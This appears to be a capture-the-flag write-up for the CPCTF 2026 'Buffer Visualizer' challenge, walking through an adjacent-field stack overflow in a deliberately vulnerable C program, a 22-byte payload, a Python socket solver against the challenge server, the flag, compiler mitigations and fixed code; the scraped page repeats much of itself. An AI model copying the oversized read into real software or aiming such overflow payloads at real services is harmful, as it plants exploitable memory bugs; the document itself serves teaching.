CPCTF 2026 / Buffer Visualizer — Anatomy of an Adjacent-Field Stack Overflow

Unknown — Sat, 02 May 2026 00:00:00 +0000

隣のあいつを書き換えよう！ — Overwrite the one next door! </blockquote>

That tagline is the entire point of the challenge, and it is also the entire point of every adjacent-field stack overflow that has ever shown up in a real-world advisory. CPCTF 2026’s Buffer Visualizer is a deliberately gentle introduction to the bug class — the binary literally draws the memory layout for you between every read — but the underlying primitive is the same one that powered Morris (1988), Code Red (2001), and a long tail of CVEs that are still landing in 2026 against C codebases that never got rewritten.

This post walks the challenge end-to-end and uses it as a coat-hook to hang a more comprehensive tutorial on:

how local variables and structs are actually laid out on the x86-64 SysV stack,</li>
why read(2)</code> is not gets(3)</code> but is still dangerous in the same way,</li>
the small but important difference between overflowing into a return address (classic ret2win</code>) and overflowing into an adjacent field (this challenge),</li>
what every mitigation in the modern hardening stack — stack canaries, NX, ASLR, FORTIFY_SOURCE</code>, -D_FORTIFY_SOURCE=3</code>, ASan — would have done, and why this binary was built with them all turned off,</li>
how to write the same program in 2026 without the bug.</li> </ol> The challenge</h2> Field</th> Value</th></tr></thead> Category</td> Pwn</td></tr> Difficulty</td> Lv.2</td></tr> Score</td> 50.00</td></tr> Author</td> quarantineee</td></tr> Hint</td> “Try entering 16 or more characters. How does target</code>’s value change?”</td></tr> </tbody></table> Attachments: visualizer.c</code>, the compiled visualizer</code> binary, and a per-user remote instance. The full source — short enough to fit on one screen — is what makes this a teaching challenge: // gcc -fno-stack-protector -o visualizer visualizer.c #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> struct Task { char buffer[16]; char target[8]; }; void print_flag(void) { printf("\nYou have successfully performed a buffer overflow!\n"); system("cat flag.txt"); exit(0); } void print_visualizer(struct Task *t) { printf("\n--- Memory ---\n"); printf("| buffer ---------------------- | target ------ |\n"); unsigned char *ptr = (unsigned char *)t; for (int i = 0; i < 24; i++) { char c = ptr[i]; printf(" %c", (c >= 32 && c <= 126) ? c : '.'); } printf("\n--------------\n"); } int main(void) { struct Task t; memset(t.buffer, '.', sizeof(t.buffer)); strcpy(t.target, "GUEST"); setvbuf(stdout, NULL, _IONBF, 0); printf("Goal: Overwrite target with 'ADMIN'\n"); while (1) { print_visualizer(&t); printf("Input: "); int n = read(0, t.buffer, 32); if (n > 0 && t.buffer[n-1] == '\n') t.buffer[n-1] = '\0'; if (strcmp(t.target, "ADMIN") == 0) { print_visualizer(&t); print_flag(); } else { printf("Current target value: %s\n", t.target); } } return 0; }</code></pre> Three details matter and the rest is decoration: struct Task</code> packs a 16-byte buffer</code> immediately followed by an 8-byte target</code>.</li> read(0, t.buffer, 32)</code> writes up to 32 bytes into a 16-byte field. The compiler doesn’t care; read</code> doesn’t care; the kernel doesn’t care.</li> The win condition is strcmp(t.target, "ADMIN") == 0</code>, not control-flow hijack. We need target</code> to literally contain A</code>, D</code>, M</code>, I</code>, N</code>, \0</code>.</li> </ol> That is the whole bug. Everything else in this post is making sure the reader actually sees why it works. Background: where local structs live</h2> When main</code> is entered, the x86-64 System V ABI (the calling convention every mainstream Linux compiler obeys) hands main</code> a stack frame that grows downward. gcc</code> reserves space for struct Task t</code> — exactly 24 bytes — somewhere inside that frame. Compiled at -O0</code> with -fno-stack-protector</code>, the layout is the source order, with buffer</code> at the lower address and target</code> immediately above it: higher addresses +---------------------------+ | saved RBP | | return address | +---------------------------+ | t.target[7] | <- t + 23 | t.target[6] | | t.target[5] | | t.target[4] 'T' | | t.target[3] 'S' | | t.target[2] 'E' | | t.target[1] 'U' | | t.target[0] 'G' | <- t + 16 +---------------------------+ | t.buffer[15] | | ... | | t.buffer[1] | | t.buffer[0] | <- t + 0 (this is &t) +---------------------------+ lower addresses (stack grows here)</code></pre> C structs are laid out in declaration order, with each field’s offset rounded up to its natural alignment. char</code> has alignment 1, so the layout is dense: buffer</code> occupies offsets [0..16)</code>, target</code> occupies [16..24)</code>. There is no padding between them and there is no canary between them, because gcc -fno-stack-protector</code> was used at build time. Anything that walks past &t.buffer[15]</code> walks straight into t.target[0]</code>. The compiler’s bounds knowledge ends at the type system, and the type system stops at the field. read(2)</code> doesn’t know about either. Why read(2) is not gets(3) but acts like it here</h2> Old pwn challenges love gets(3)</code> because it has no length argument and was deprecated for that reason. Modern code reaches for read(2)</code> because it does have a length: ssize_t read(int fd, void *buf, size_t count);</code></pre> The trap is that count</code> is the buffer the programmer believes they are filling, not the one C actually allocated. Here: int n = read(0, t.buffer, 32);</code></pre> t.buffer</code> is 16 bytes. count</code> is 32. read</code> will faithfully ask the kernel for up to 32 bytes and write them, in order, starting at &t.buffer[0]</code>. Bytes 0–15 land in buffer</code>. Bytes 16–23 land in target</code>. Byte 24 onwards would land in saved RBP, the return address, and so on — but we don’t need to go that far for this challenge. This is the core lesson the challenge is actually teaching: the size argument to read</code>, recv</code>, memcpy</code>, snprintf</code>, fread</code>, and friends is a contract you have to enforce yourself. The compiler will not check it, the linker will not check it, and the kernel will not check it. Crafting the payload</h2> The win condition is strcmp(t.target, "ADMIN") == 0</code>. strcmp</code> reads from t.target[0]</code> until it hits a \0</code>. So we need: bytes 0–15: anything, just to fill buffer</code></li> bytes 16–20: A</code>, D</code>, M</code>, I</code>, N</code></li> byte 21: \0</code></li> </ul> The straightforward 22-byte payload would be "X" * 16 + "ADMIN\0"</code>. But we are typing into a TTY-shaped read(0, ...)</code>, and sending a literal NUL byte from the shell is awkward. The trick the challenge nudges you toward — and the part that makes this writeup actually interesting — is the post-read fixup: int n = read(0, t.buffer, 32); if (n > 0 && t.buffer[n-1] == '\n') t.buffer[n-1] = '\0';</code></pre> If the input ends with \n</code>, the program rewrites that final byte to \0</code>. So if our payload is: "A" * 16 + "ADMIN" + "\n"</code></pre> — that’s 22 bytes — read</code> returns n = 22</code>, the last byte is \n</code> at offset 21, the fixup overwrites it with \0</code>, and we end up with: buffer = "AAAAAAAAAAAAAAAA" (16 bytes, no terminator inside the field) target = "ADMIN\0" (5 chars + terminator at offset 21)</code></pre> strcmp(t.target, "ADMIN")</code> returns 0</code>. print_flag</code> runs. The memory diagram in transition: before: . . . . . . . . . . . . . . . . G U E S T . . . after: A A A A A A A A A A A A A A A A A D M I N \0 . . ^^^^^^^^^^^ our overflow</code></pre> There is a subtler win path. If our input were 21 bytes — "A" * 16 + "ADMI"</code> followed by N\n</code> would still be 22; exactly "A" * 16 + "ADMIN"</code> with no newline is 21 bytes — read</code> returns n = 21</code>, the last byte is N</code> (not \n</code>), the fixup is skipped, and target</code> becomes ADMIN</code> followed by whatever the stack already held at offset 21. If that byte happened to be \0</code> (it is, because strcpy(t.target, "GUEST")</code> wrote G</code>,U</code>,E</code>,S</code>,T</code>,\0</code> at offsets 16–21), the strcmp succeeds without needing the fixup at all. The fixup path is the intended solution because it works regardless of residual stack contents; the no-fixup path is fragile across compilers. This is the part of pwn that nobody tells you up front: payloads are about the program’s state machine, not just the bytes. Two payloads that look almost identical can have completely different reliability profiles depending on what you assume about uninitialized memory. Hitting it remotely</h2> The challenge runs as a per-user network instance. The supplied solver: import socket HOST = "133.88.122.244" PORT = 30788 PAYLOAD = b"A" * 16 + b"ADMIN\n" def main() -> None: with socket.create_connection((HOST, PORT), timeout=5) as sock: sock.recv(4096) # consume the welcome banner sock.sendall(PAYLOAD) # 22 bytes, single send chunks = [] sock.settimeout(2) while True: try: data = sock.recv(4096) except TimeoutError: break if not data: break chunks.append(data) print(b"".join(chunks).decode("latin1", "replace"), end="")</code></pre> Three things worth noting for anyone writing their first pwn solver: Why latin1</code> decode. The remote prints arbitrary bytes (the visualizer dumps memory). UTF-8 will throw on invalid sequences; latin1</code> is a 1:1 byte-to-codepoint map so it never raises and you see exactly what the binary sent.</li> Why a single sendall</code>. Because read(2)</code> will gladly stitch together multiple TCP packets, but it can also return early if the kernel hands back a short read. A single sendall</code> of 22 bytes is the minimum surface area for a flake.</li> Why the timeout loop. The remote calls exit(0)</code> after print_flag</code>, so the socket closes when we win. Reading until close is the simplest synchronization.</li> </ul> Run it, see the flag: CPCTF{y0u_4r3_PWN_h4ck3r}</code></pre>What every modern mitigation would have done</h2> The build line at the top of the source — gcc -fno-stack-protector</code> — quietly disables one of the four standard stack-overflow defenses. Worth running through all of them, since “what does each mitigation block” is the actual interview question this challenge is rehearsing. Stack canary (-fstack-protector-strong</code>)</h3> Default in modern gcc/clang for any function with a stack buffer. The compiler inserts a random word between the local variables and the saved frame pointer at function entry, and checks it before ret</code>. If we overflowed past t</code> into the canary, __stack_chk_fail</code> would abort()</code> the process before print_flag</code> could ever be called. This challenge bypasses the canary by not needing to reach it. We only walk 6 bytes past buffer</code>, into target</code>. The canary lives further up, near the saved frame pointer. Stack canaries protect return addresses, not adjacent struct fields. This is the single most important nuance of the canary mitigation and the reason adjacent-field overflows are quietly common in real CVEs even on hardened binaries. NX (-Wl,-z,noexecstack</code>)</h3> The stack is mapped non-executable. Shellcode written into the buffer can’t be run. Irrelevant here because we don’t write shellcode and don’t redirect execution — print_flag</code> is already in the binary. ASLR + PIE</h3> The address of print_flag</code> is randomized per run. Irrelevant here because we don’t need to know print_flag</code>’s address — the legitimate code path calls it for us once strcmp</code> returns 0</code>. FORTIFY_SOURCE</code></h3> Compiled with -D_FORTIFY_SOURCE=2</code> (default on most distros under -O2</code>), glibc swaps memcpy</code>, strcpy</code>, snprintf</code>, read</code>, etc. for __*_chk</code> variants when the destination size is known at compile time. For read(0, t.buffer, 32)</code> with t.buffer</code> of size 16, glibc’s __read_chk</code> would __chk_fail()</code> at runtime. -D_FORTIFY_SOURCE=3</code> (gcc 12+, glibc 2.34+) extends this to many cases the compiler used to miss. Either level kills this exact bug. AddressSanitizer (-fsanitize=address</code>)</h3> A debug-time mitigation. ASan would catch the out-of-bounds write the moment read</code> writes past &t.buffer[15]</code> and print a beautiful report. It’s the right tool for catching this class of bug in CI before it ever ships. Putting it together</h3> The build line tells the whole story: gcc -fno-stack-protector -o visualizer visualizer.c</code></pre> No canary (explicit), no PIE (default off without -pie</code>), no fortification (no -D_FORTIFY_SOURCE</code> and no -O2</code>), no ASan, no warnings (no -Wall</code>). It is a CTF binary built to be exploitable. A real production binary built with gcc -O2 -Wall -Wextra -fstack-protector-strong -D_FORTIFY_SOURCE=2 -pie -Wl,-z,now,-z,relro,-z,noexecstack</code> would block this exact payload at runtime via FORTIFY_SOURCE</code>, and would catch it at build time if the developer also enabled -fanalyzer</code> (gcc 14+). How to write this in 2026 without the bug</h2> The fix is one character — 32</code> becomes sizeof(t.buffer)</code>: int n = read(0, t.buffer, sizeof(t.buffer));</code></pre> But “use sizeof” is a rule of thumb that fails the moment someone changes the type. The deeper fixes: // Option 1: bounded read with explicit length char input[sizeof(t.buffer)]; ssize_t n = read(0, input, sizeof(input)); if (n < 0) { /* handle */ } size_t to_copy = (size_t)n < sizeof(t.buffer) ? (size_t)n : sizeof(t.buffer) - 1; memcpy(t.buffer, input, to_copy); t.buffer[to_copy] = '\0';</code></pre>// Option 2: fgets — bounded by construction, always NUL-terminates if (!fgets(t.buffer, sizeof(t.buffer), stdin)) { /* handle EOF */ } t.buffer[strcspn(t.buffer, "\n")] = '\0';</code></pre>// Option 3: don't write C // Rewrite in Rust, where the compiler refuses to compile a slice index // that escapes its container, and where String / Vec carry their own length.</code></pre> The first two are tactical fixes; the third is the strategic one. Linux kernel (since 2022), Android system services, parts of Chrome and Firefox, and a growing share of new infrastructure code at every major cloud are migrating exactly these patterns to memory-safe languages because the cost-per-CVE math finally tipped over. CISA’s 2023 The Case for Memory Safe Roadmaps</a> is the policy-level statement of the same conclusion. Defensive takeaways</h2> Bounds are programmer responsibility in C. No tool in the standard toolchain checks that read(fd, buf, n)</code>’s n</code> matches buf</code>’s actual size. Habits — sizeof(buf)</code>, never magic numbers — are the only defense at the source level.</li> Stack canaries do not protect adjacent fields. They protect return addresses. CVE patterns like Heartbleed (CVE-2014-0160) and many integer-truncation OOB-writes live happily inside a single stack frame without ever touching the canary.</li> FORTIFY_SOURCE</code> is free. Turn it on. Anything caught by __*_chk</code> at runtime is a bug you didn’t ship.</li> ASan in CI is non-negotiable. Cost is one extra CI lane; benefit is every category of memory-safety bug in your test corpus surfacing before code review.</li> Track the difference between control-flow hijack and data-only attacks. The latter is what this challenge is. They are reliably under-appreciated by junior reviewers because the demo does not pop a shell — but a one-bit privilege escalation (isAdmin = false → true</code>) is often more valuable to an attacker than a shell.</li> </ul> References</h2> GCC manual — -fstack-protector*</code></a></li> glibc — _FORTIFY_SOURCE</code> levels</a></li> CISA — The Case for Memory Safe Roadmaps (2023)</a></li> Linux man-pages — read(2)</code></a></li> LWN — How memory-safe languages reach the Linux kernel</a></li> Aleph One, Smashing The Stack For Fun And Profit, Phrack 49 (1996) — the original tutorial; still the clearest explanation of the call stack at the byte level.</li> </ul> Flag</h2> CPCTF{y0u_4r3_PWN_h4ck3r}</code></pre>

Flag</h2>
`CPCTF{y0u_4r3_PWN_h4ck3r}</span></span></code></pre>`

0xb105

CPCTF 2026 / Buffer Visualizer — Anatomy of an Adjacent-Field Stack Overflow

Field</th>	Value</th></tr></thead>
Category</td>	Pwn</td></tr>
Difficulty</td>	Lv.2</td></tr>
Score</td>	50.00</td></tr>
Author</td>	quarantineee</td></tr>
Hint</td>	“Try entering 16 or more characters. How does target</code>’s value change?”</td></tr> </tbody></table> Attachments: visualizer.c</code>, the compiled visualizer</code> binary, and a per-user remote instance.</p> The full source — short enough to fit on one screen — is what makes this a teaching challenge:</p> // gcc -fno-stack-protector -o visualizer visualizer.c</span></span> #include</span> <stdio.h></span></span> #include</span> <string.h></span></span> #include</span> <unistd.h></span></span> #include</span> <stdlib.h></span></span> </span> struct</span> Task {</span></span> char</span> buffer</span>[</span>16</span>];</span></span> char</span> target</span>[</span>8</span>];</span></span> };</span></span> </span> void</span> print_flag</span>(</span>void</span>) {</span></span> printf</span>(</span>"</span>\n</span>You have successfully performed a buffer overflow!</span>\n</span>"</span>);</span></span> system</span>(</span>"cat flag.txt"</span>);</span></span> exit</span>(</span>0</span>);</span></span> }</span></span> </span> void</span> print_visualizer</span>(</span>struct</span> Task </span></span>t</span>) {</span></span> printf</span>(</span>"</span>\n</span>--- Memory ---</span>\n</span>"</span>);</span></span> printf</span>(</span>"\| buffer ---------------------- \| target ------ \|</span>\n</span>"</span>);</span></span> unsigned char </span>ptr </span>=</span> (</span>unsigned char </span>)t;</span></span> for</span> (</span>int</span> i </span>=</span> 0</span>; i </span><</span> 24</span>; i</span>++</span>) {</span></span> char</span> c </span>=</span> ptr</span>[i];</span></span> printf</span>(</span>"</span> %c</span>"</span>, (c </span>>=</span> 32</span> &&</span> c </span><=</span> 126</span>)</span> ?</span> c </span>:</span> '.'</span>);</span></span> }</span></span> printf</span>(</span>"</span>\n</span>--------------</span>\n</span>"</span>);</span></span> }</span></span> </span> int</span> main</span>(</span>void</span>) {</span></span> struct</span> Task t;</span></span> memset</span>(t.buffer,</span> '.'</span>,</span> sizeof</span>(t.buffer));</span></span> strcpy</span>(t.target,</span> "GUEST"</span>);</span></span> setvbuf</span>(stdout,</span> NULL</span>, _IONBF,</span> 0</span>);</span></span> printf</span>(</span>"Goal: Overwrite target with 'ADMIN'</span>\n</span>"</span>);</span></span> </span> while</span> (</span>1</span>) {</span></span> print_visualizer</span>(</span>&</span>t);</span></span> printf</span>(</span>"Input: "</span>);</span></span> int</span> n </span>=</span> read</span>(</span>0</span>, t.buffer,</span> 32</span>);</span></span> if</span> (n </span>></span> 0</span> &&</span> t.buffer[n</span>-</span>1</span>]</span> ==</span> '</span>\n</span>'</span>) t.buffer[n</span>-</span>1</span>]</span> =</span> '</span>\0</span>'</span>;</span></span> </span> if</span> (</span>strcmp</span>(t.target,</span> "ADMIN"</span>)</span> ==</span> 0</span>) {</span></span> print_visualizer</span>(</span>&</span>t);</span></span> print_flag</span>();</span></span> }</span> else</span> {</span></span> printf</span>(</span>"Current target value: </span>%s\n</span>"</span>, t.target);</span></span> }</span></span> }</span></span> return</span> 0</span>;</span></span> }</span></span></code></pre> Three details matter and the rest is decoration:</p> struct Task</code> packs a 16-byte buffer</code> immediately followed by an 8-byte target</code>.</li> read(0, t.buffer, 32)</code> writes up to 32 bytes</strong> into a 16-byte</strong> field. The compiler doesn’t care; read</code> doesn’t care; the kernel doesn’t care.</li> The win condition is strcmp(t.target, "ADMIN") == 0</code>, not control-flow hijack. We need target</code> to literally contain A</code>, D</code>, M</code>, I</code>, N</code>, \0</code>.</li> </ol> That is the whole bug. Everything else in this post is making sure the reader actually sees why</em> it works.</p> Background: where local structs live</h2> When main</code> is entered, the x86-64 System V ABI (the calling convention every mainstream Linux compiler obeys) hands main</code> a stack frame that grows downward. gcc</code> reserves space for struct Task t</code> — exactly 24 bytes — somewhere inside that frame. Compiled at -O0</code> with -fno-stack-protector</code>, the layout is the source order, with buffer</code> at the lower address and target</code> immediately above it:</p> higher addresses</span></span> +---------------------------+</span></span> \| saved RBP \|</span></span> \| return address \|</span></span> +---------------------------+</span></span> \| t.target[7] \| <- t + 23</span></span> \| t.target[6] \|</span></span> \| t.target[5] \|</span></span> \| t.target[4] 'T' \|</span></span> \| t.target[3] 'S' \|</span></span> \| t.target[2] 'E' \|</span></span> \| t.target[1] 'U' \|</span></span> \| t.target[0] 'G' \| <- t + 16</span></span> +---------------------------+</span></span> \| t.buffer[15] \|</span></span> \| ... \|</span></span> \| t.buffer[1] \|</span></span> \| t.buffer[0] \| <- t + 0 (this is &t)</span></span> +---------------------------+</span></span> lower addresses (stack grows here)</span></span></code></pre> C structs are laid out in declaration order</strong>, with each field’s offset rounded up to its natural alignment. char</code> has alignment 1, so the layout is dense: buffer</code> occupies offsets [0..16)</code>, target</code> occupies [16..24)</code>. There is no padding between them and there is no canary between them, because gcc -fno-stack-protector</code> was used at build time.</p> Anything that walks past &t.buffer[15]</code> walks straight into t.target[0]</code>. The compiler’s bounds knowledge ends at the type system, and the type system stops at the field. read(2)</code> doesn’t know about either.</p> Why read(2) is not gets(3) but acts like it here</h2> Old pwn challenges love gets(3)</code> because it has no length argument and was deprecated for that reason. Modern code reaches for read(2)</code> because it does have a length</em>:</p> ssize_t</span> read</span>(</span>int</span> fd</span>,</span> void </span>buf</span>,</span> size_t</span> count</span>);</span></span></code></pre> The trap is that count</code> is the buffer the programmer believes they are filling</strong>, not the one C actually allocated. Here:</p> int</span> n </span>=</span> read</span>(</span>0</span>, t.buffer,</span> 32</span>);</span></span></code></pre> t.buffer</code> is 16 bytes. count</code> is 32. read</code> will faithfully ask the kernel for up to 32 bytes and write them, in order, starting at &t.buffer[0]</code>. Bytes 0–15 land in buffer</code>. Bytes 16–23 land in target</code>. Byte 24 onwards would land in saved RBP, the return address, and so on — but we don’t need to go that far for this challenge.</p> This is the core lesson the challenge is actually teaching: the size argument to read</code>, recv</code>, memcpy</code>, snprintf</code>, fread</code>, and friends is a contract you have to enforce yourself.</em> The compiler will not check it, the linker will not check it, and the kernel will not check it.</p> Crafting the payload</h2> The win condition is strcmp(t.target, "ADMIN") == 0</code>. strcmp</code> reads from t.target[0]</code> until it hits a \0</code>. So we need:</p> bytes 0–15: anything, just to fill buffer</code></li> bytes 16–20: A</code>, D</code>, M</code>, I</code>, N</code></li> byte 21: \0</code></li> </ul> The straightforward 22-byte payload would be "X" * 16 + "ADMIN\0"</code>. But we are typing into a TTY-shaped read(0, ...)</code>, and sending a literal NUL byte from the shell is awkward. The trick the challenge nudges you toward — and the part that makes this writeup actually interesting — is the post-read fixup:</p> int</span> n </span>=</span> read</span>(</span>0</span>, t.buffer,</span> 32</span>);</span></span> if</span> (n </span>></span> 0</span> &&</span> t.</span>buffer</span>[n</span>-</span>1</span>]</span> ==</span> '</span>\n</span>'</span>) t.</span>buffer</span>[n</span>-</span>1</span>]</span> =</span> '</span>\0</span>'</span>;</span></span></code></pre> If the input ends with \n</code>, the program rewrites that final byte to \0</code>. So if our payload is:</p> "A" * 16 + "ADMIN" + "\n"</span></span></code></pre> — that’s 22 bytes — read</code> returns n = 22</code>, the last byte is \n</code> at offset 21, the fixup overwrites it with \0</code>, and we end up with:</p> buffer = "AAAAAAAAAAAAAAAA" (16 bytes, no terminator inside the field)</span></span> target = "ADMIN\0" (5 chars + terminator at offset 21)</span></span></code></pre> strcmp(t.target, "ADMIN")</code> returns 0</code>. print_flag</code> runs.</p> The memory diagram in transition:</p> before: . . . . . . . . . . . . . . . . G U E S T . . .</span></span> after: A A A A A A A A A A A A A A A A A D M I N \0 . .</span></span> ^^^^^^^^^^^</span></span> our overflow</span></span></code></pre> There is a subtler win path. If our input were 21 bytes — "A" * 16 + "ADMI"</code> followed by N\n</code> would still be 22; exactly</em> "A" * 16 + "ADMIN"</code> with no newline is 21 bytes — read</code> returns n = 21</code>, the last byte is N</code> (not \n</code>), the fixup is skipped, and target</code> becomes ADMIN</code> followed by whatever the stack already held</em> at offset 21. If that byte happened to be \0</code> (it is, because strcpy(t.target, "GUEST")</code> wrote G</code>,U</code>,E</code>,S</code>,T</code>,\0</code> at offsets 16–21), the strcmp succeeds without needing the fixup at all. The fixup path is the intended</em> solution because it works regardless of residual stack contents; the no-fixup path is fragile across compilers.</p> This is the part of pwn that nobody tells you up front: payloads are about the program’s state machine, not just the bytes</strong>. Two payloads that look almost identical can have completely different reliability profiles depending on what you assume about uninitialized memory.</p> Hitting it remotely</h2> The challenge runs as a per-user network instance. The supplied solver:</p> import</span> socket</span></span> </span> HOST</span> =</span> "133.88.122.244"</span></span> PORT</span> =</span> 30788</span></span> PAYLOAD</span> = b</span>"A"</span> </span> 16</span> + b</span>"ADMIN</span>\n</span>"</span></span> </span> def</span> main</span>() -></span> None</span>:</span></span> with</span> socket.create_connection((</span>HOST</span>,</span> PORT</span>),</span> timeout</span>=</span>5</span>)</span> as</span> sock:</span></span> sock.recv(</span>4096</span>)</span> # consume the welcome banner</span></span> sock.sendall(</span>PAYLOAD</span>)</span> # 22 bytes, single send</span></span> chunks</span> =</span> []</span></span> sock.settimeout(</span>2</span>)</span></span> while</span> True</span>:</span></span> try</span>:</span></span> data</span> =</span> sock.recv(</span>4096</span>)</span></span> except</span> TimeoutError</span>:</span></span> break</span></span> if not</span> data:</span></span> break</span></span> chunks.append(data)</span></span> print</span>(</span>b</span>""</span>.join(chunks).decode(</span>"latin1"</span>,</span> "replace"</span>),</span> end</span>=</span>""</span>)</span></span></code></pre> Three things worth noting for anyone writing their first pwn solver:</p> Why latin1</code> decode.</strong> The remote prints arbitrary bytes (the visualizer dumps memory). UTF-8 will throw on invalid sequences; latin1</code> is a 1:1 byte-to-codepoint map so it never raises and you see exactly what the binary sent.</li> Why a single sendall</code>.</strong> Because read(2)</code> will gladly stitch together multiple TCP packets, but it can also return early if the kernel hands back a short read. A single sendall</code> of 22 bytes is the minimum surface area for a flake.</li> Why the timeout loop.</strong> The remote calls exit(0)</code> after print_flag</code>, so the socket closes when we win. Reading until close is the simplest synchronization.</li> </ul> Run it, see the flag:</p> CPCTF{y0u_4r3_PWN_h4ck3r}</span></span></code></pre>What every modern mitigation would have done</h2> The build line at the top of the source — gcc -fno-stack-protector</code> — quietly disables one of the four standard stack-overflow defenses. Worth running through all of them, since “what does each mitigation block” is the actual interview question this challenge is rehearsing.</p> Stack canary (-fstack-protector-strong</code>)</h3> Default in modern gcc/clang for any function with a stack buffer. The compiler inserts a random word between the local variables and the saved frame pointer at function entry, and checks it before ret</code>. If we overflowed past t</code> into the canary, __stack_chk_fail</code> would abort()</code> the process before print_flag</code> could ever be called.</p> This challenge bypasses the canary by not needing to reach it</strong>. We only walk 6 bytes past buffer</code>, into target</code>. The canary lives further up, near the saved frame pointer. Stack canaries protect return addresses</em>, not adjacent struct fields</em>. This is the single most important nuance of the canary mitigation and the reason adjacent-field overflows are quietly common in real CVEs even on hardened binaries.</p> NX (-Wl,-z,noexecstack</code>)</h3> The stack is mapped non-executable. Shellcode written into the buffer can’t be run. Irrelevant here because we don’t write shellcode and don’t redirect execution — print_flag</code> is already in the binary.</p> ASLR + PIE</h3> The address of print_flag</code> is randomized per run. Irrelevant here because we don’t need to know print_flag</code>’s address — the legitimate code path calls it for us once strcmp</code> returns 0</code>.</p> FORTIFY_SOURCE</code></h3> Compiled with -D_FORTIFY_SOURCE=2</code> (default on most distros under -O2</code>), glibc swaps memcpy</code>, strcpy</code>, snprintf</code>, read</code>, etc. for ___chk</code> variants when the destination size is known at compile time. For read(0, t.buffer, 32)</code> with t.buffer</code> of size 16, glibc’s __read_chk</code> would __chk_fail()</code> at runtime.</p> -D_FORTIFY_SOURCE=3</code> (gcc 12+, glibc 2.34+) extends this to many cases the compiler used to miss. Either level kills this exact bug.</p> AddressSanitizer (-fsanitize=address</code>)</h3> A debug-time mitigation. ASan would catch the out-of-bounds write the moment read</code> writes past &t.buffer[15]</code> and print a beautiful report. It’s the right tool for catching this class of bug in CI before it ever ships.</p> Putting it together</h3> The build line tells the whole story:</p> gcc</span> -fno-stack-protector -o</span> visualizer visualizer.c</span></span></code></pre> No canary (explicit), no PIE (default off without -pie</code>), no fortification (no -D_FORTIFY_SOURCE</code> and no -O2</code>), no ASan, no warnings (no -Wall</code>). It is a CTF binary built to be exploitable. A real production binary built with gcc -O2 -Wall -Wextra -fstack-protector-strong -D_FORTIFY_SOURCE=2 -pie -Wl,-z,now,-z,relro,-z,noexecstack</code> would block this exact payload at runtime via FORTIFY_SOURCE</code>, and would catch it at build time if the developer also enabled -fanalyzer</code> (gcc 14+).</p> How to write this in 2026 without the bug</h2> The fix is one character — 32</code> becomes sizeof(t.buffer)</code>:</p> int</span> n </span>=</span> read</span>(</span>0</span>, t.buffer,</span> sizeof</span>(t.buffer));</span></span></code></pre> But “use sizeof” is a rule of thumb that fails the moment someone changes the type</strong>. The deeper fixes:</p> // Option 1: bounded read with explicit length</span></span> char</span> input</span>[</span>sizeof</span>(t.buffer)];</span></span> ssize_t</span> n </span>=</span> read</span>(</span>0</span>, input,</span> sizeof</span>(input));</span></span> if</span> (n </span><</span> 0</span>) {</span> /* handle /</span> }</span></span> size_t</span> to_copy </span>=</span> (</span>size_t</span>)n </span>< sizeof</span>(t.buffer)</span> ?</span> (</span>size_t</span>)n </span>: sizeof</span>(t.buffer)</span> -</span> 1</span>;</span></span> memcpy</span>(t.buffer, input, to_copy);</span></span> t.</span>buffer</span>[to_copy]</span> =</span> '</span>\0</span>'</span>;</span></span></code></pre>// Option 2: fgets — bounded by construction, always NUL-terminates</span></span> if</span> (</span>!</span>fgets</span>(t.buffer,</span> sizeof</span>(t.buffer), stdin)) {</span> / handle EOF /</span> }</span></span> t.</span>buffer</span>[</span>strcspn</span>(t.buffer,</span> "</span>\n</span>"</span>)]</span> =</span> '</span>\0</span>'</span>;</span></span></code></pre>// Option 3: don't write C</span></span> // Rewrite in Rust, where the compiler refuses to compile a slice index</span></span> // that escapes its container, and where String / Vec carry their own length.</span></span></code></pre> The first two are tactical fixes; the third is the strategic one. Linux kernel (since 2022), Android system services, parts of Chrome and Firefox, and a growing share of new infrastructure code at every major cloud are migrating exactly these patterns to memory-safe languages because the cost-per-CVE math finally tipped over. CISA’s 2023 The Case for Memory Safe Roadmaps</a> is the policy-level statement of the same conclusion.</p> Defensive takeaways</h2> Bounds are programmer responsibility in C.</strong> No tool in the standard toolchain checks that read(fd, buf, n)</code>’s n</code> matches buf</code>’s actual size. Habits — sizeof(buf)</code>, never magic numbers — are the only defense at the source level.</li> Stack canaries do not protect adjacent fields.</strong> They protect return addresses. CVE patterns like Heartbleed (CVE-2014-0160) and many integer-truncation OOB-writes live happily inside a single stack frame without ever touching the canary.</li> FORTIFY_SOURCE</code> is free.</strong> Turn it on. Anything caught by ___chk</code> at runtime is a bug you didn’t ship.</li> ASan in CI is non-negotiable.</strong> Cost is one extra CI lane; benefit is every category of memory-safety bug in your test corpus surfacing before code review.</li> Track the difference between control-flow hijack and data-only attacks.</strong> The latter is what this challenge is. They are reliably under-appreciated by junior reviewers because the demo does not pop a shell — but a one-bit privilege escalation (isAdmin = false → true</code>) is often more valuable to an attacker than a shell.</li> </ul> References</h2> GCC manual — -fstack-protector*</code></a></li> glibc — _FORTIFY_SOURCE</code> levels</a></li> CISA — The Case for Memory Safe Roadmaps (2023)</a></li> Linux man-pages — read(2)</code></a></li> LWN — How memory-safe languages reach the Linux kernel</a></li> Aleph One, Smashing The Stack For Fun And Profit</em>, Phrack 49 (1996) — the original tutorial; still the clearest explanation of the call stack at the byte level.</li> </ul> Flag</h2> CPCTF{y0u_4r3_PWN_h4ck3r}</span></span></code></pre>

0xb105

CPCTF 2026 / Buffer Visualizer — Anatomy of an Adjacent-Field Stack Overflow

Flag</h2> CPCTF{y0u_4r3_PWN_h4ck3r}</span></span></code></pre>

Flag</h2>
`CPCTF{y0u_4r3_PWN_h4ck3r}</span></span></code></pre>`